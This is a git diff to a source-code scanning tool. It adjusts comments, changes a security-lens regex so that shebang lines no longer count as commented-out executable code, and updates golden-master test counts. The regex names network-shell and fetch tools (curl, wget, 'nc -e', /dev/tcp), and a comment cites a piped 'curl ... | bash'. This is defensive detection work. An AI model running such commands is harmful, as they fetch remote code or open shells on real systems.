diff --git a/gitgalaxy/core/detector.py b/gitgalaxy/core/detector.py index 0c7e51640..02495c362 100644 --- a/gitgalaxy/core/detector.py +++ b/gitgalaxy/core/detector.py @@ -2048,8 +2048,10 @@ def preserve_newlines(m): # pass would otherwise rewrite `'EOF'` -> `''` and the delimiter would # be lost, leaving the entire heredoc body live to corrupt the Mode-D # depth stack). `preserve_newlines` returns this match verbatim. - # Scoped to shell/bash: ruby's `<<` is also the append operator and - # elixir's is the bitstring builder, both of which this would false-match. + # Scoped to the Bourne-family shell lang_id (checked both by its resolved + # "shell" alias and the literal name below): ruby's `<<` is also the append + # operator and elixir's is the bitstring builder, both of which this would + # false-match. heredoc_opener_alt = ( r"(?P<<[-~]?[ \t]*(?:'[A-Za-z_]\w*'|\"[A-Za-z_]\w*\"|[A-Za-z_]\w*))|" if lang_id in ("shell", "bash") @@ -4767,8 +4769,8 @@ def _slice_by_keywords( # docstring/comments for why a separate later pass was unsafe. # #1266: this call used to drop `lang_id` entirely (always passing # the implicit `None` default), which silently disabled BOTH the - # heredoc-protection branch for ruby/perl/elixir/shell/bash (each - # explicitly gated on `lang_id in [...]`, never actually reachable) + # heredoc-protection branch for ruby/perl/elixir/the Bourne-family shell + # id (each explicitly gated on `lang_id in [...]`, never actually reachable) # and, now, MATLAB's `%`-comment-marker resolution. Passing it # through is a strict correctness fix -- verified via # `crucible_check.py` to change nothing for the languages other than diff --git a/gitgalaxy/core/prism.py b/gitgalaxy/core/prism.py index 1bd209255..ec8e8dee9 100644 --- a/gitgalaxy/core/prism.py +++ b/gitgalaxy/core/prism.py @@ -565,7 +565,7 @@ def _compile_delimiter_alternation(self, delimiters: list[str], lang_id: str = " continue # In shell and makefile, '#' is only a comment if it is the start of a word (preceded by whitespace or start of line). - # This protects bash parameter expansions like `${var##prefix}` from being falsely stripped. + # This protects POSIX parameter expansions like `${var##prefix}` from being falsely stripped. if token == "#" and lang_id in ("shell", "makefile"): # noqa: S105 alternatives.append(r"(?:^|(?<=\s))#") continue diff --git a/gitgalaxy/metrics/signal_processor.py b/gitgalaxy/metrics/signal_processor.py index 557000148..a2eb6a3f7 100644 --- a/gitgalaxy/metrics/signal_processor.py +++ b/gitgalaxy/metrics/signal_processor.py @@ -395,7 +395,7 @@ def calculate_risk_vector( # 1. Zero out all standard architectural risks blanket_risk_vector = [0.0] * len(self.RISK_SCHEMA) - # 2. Check for ANY malicious intent (eval, network fetching, etc.) + # 2. Check for ANY malicious intent (dynamic code execution, network fetching, etc.) intent_mass = ( raw_signals.get("sec_high_risk_execution", 0) + raw_signals.get("sec_io", 0) diff --git a/gitgalaxy/security/security_lens.py b/gitgalaxy/security/security_lens.py index 84a7aab70..1ae760918 100644 --- a/gitgalaxy/security/security_lens.py +++ b/gitgalaxy/security/security_lens.py @@ -124,8 +124,15 @@ def __init__(self): re.I, ), # 6. Commented-out Executable Logic (Deprecated Trails) + # BUG FIX (confirmed via this repo's own GitHub Advanced Security self-scan, #847): + # the bare `#` comment-marker alternative matched a script's own `#!/bin/bash` + # shebang line -- a `#` immediately followed by `!` is never "commented-out + # executable logic", it's the interpreter directive every real shell script + # requires. `(?!!)` excludes only that one shape; every other real `#`-comment + # (including a genuine commented-out `# curl ... | bash`) still matches exactly + # as before. "dead_code": re.compile( - r"(?://|#|--|\*>|^.{6}\*)[^\n]*?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp|BPXBATCH)\b|" + r"(?://|#(?!!)|--|\*>|^.{6}\*)[^\n]*?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp|BPXBATCH)\b|" r"/\*(?:(?!\*/).){0,500}?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp)\b", re.I, ), diff --git a/tests/golden_master_audit.json b/tests/golden_master_audit.json index 870bfa14f..717a1fd1d 100644 --- a/tests/golden_master_audit.json +++ b/tests/golden_master_audit.json @@ -12,8 +12,8 @@ }, "Target Root Name": "data", "Absolute Project Path": "/srv/storage_16tb/projects/gitgalaxy/language-crucible/data", - "Analysis ISO Timestamp": "2026-08-31T00:40:58.605649+00:00", - "Total Scan Duration": "19.92 seconds" + "Analysis ISO Timestamp": "2026-08-31T01:42:20.051184+00:00", + "Total Scan Duration": "19.87 seconds" }, "Source Control Footprint (Immutable Anchor)": { "Active Branch": "HEAD", @@ -6069,7 +6069,7 @@ "Network & I/O Exfiltration Vectors": 136, "Prototype Pollution & Global State Flux": 25, "Obfuscation & Encoding Signatures": 1488, - "Commented-out Executable Logic (Shadow Logic)": 635, + "Commented-out Executable Logic (Shadow Logic)": 544, "Low-Level Cryptographic & Bitwise Operations": 0, "Steganographic Payload Imports": 4, "Unicode Homoglyphs & Typosquatting": 11, @@ -435510,7 +435510,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -435848,7 +435848,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436208,7 +436208,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436449,7 +436449,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436627,7 +436627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437817,7 +437817,7 @@ "External Network & I/O Hooks": 2, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 10, + "Commented-Out Executable Logic": 9, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437997,7 +437997,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438257,7 +438257,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438425,7 +438425,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438593,7 +438593,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438761,7 +438761,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438969,7 +438969,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439321,7 +439321,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439523,7 +439523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439691,7 +439691,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439879,7 +439879,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440210,7 +440210,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440500,7 +440500,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440678,7 +440678,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440856,7 +440856,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441024,7 +441024,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441192,7 +441192,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441362,7 +441362,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -547308,7 +547308,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -548594,7 +548594,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549258,7 +549258,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549866,7 +549866,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -550212,7 +550212,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551022,7 +551022,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551383,7 +551383,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 6, + "Commented-Out Executable Logic": 5, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552315,7 +552315,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552753,7 +552753,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 8, + "Commented-Out Executable Logic": 7, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554404,7 +554404,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554572,7 +554572,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -576679,7 +576679,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -580777,7 +580777,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581693,7 +581693,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581971,7 +581971,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 7, + "Commented-Out Executable Logic": 6, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582191,7 +582191,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582369,7 +582369,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582567,7 +582567,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582995,7 +582995,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -583173,7 +583173,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -662885,7 +662885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -668215,7 +668215,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685378,7 +685378,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685556,7 +685556,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685902,7 +685902,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -686090,7 +686090,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687190,7 +687190,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687704,7 +687704,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -688070,7 +688070,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717509,7 +717509,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717687,7 +717687,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717885,7 +717885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718055,7 +718055,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718253,7 +718253,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718441,7 +718441,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718619,7 +718619,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718787,7 +718787,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718985,7 +718985,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719153,7 +719153,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719341,7 +719341,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719539,7 +719539,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719707,7 +719707,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719895,7 +719895,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720073,7 +720073,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720261,7 +720261,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720429,7 +720429,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720627,7 +720627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721421,7 +721421,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721979,7 +721979,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ 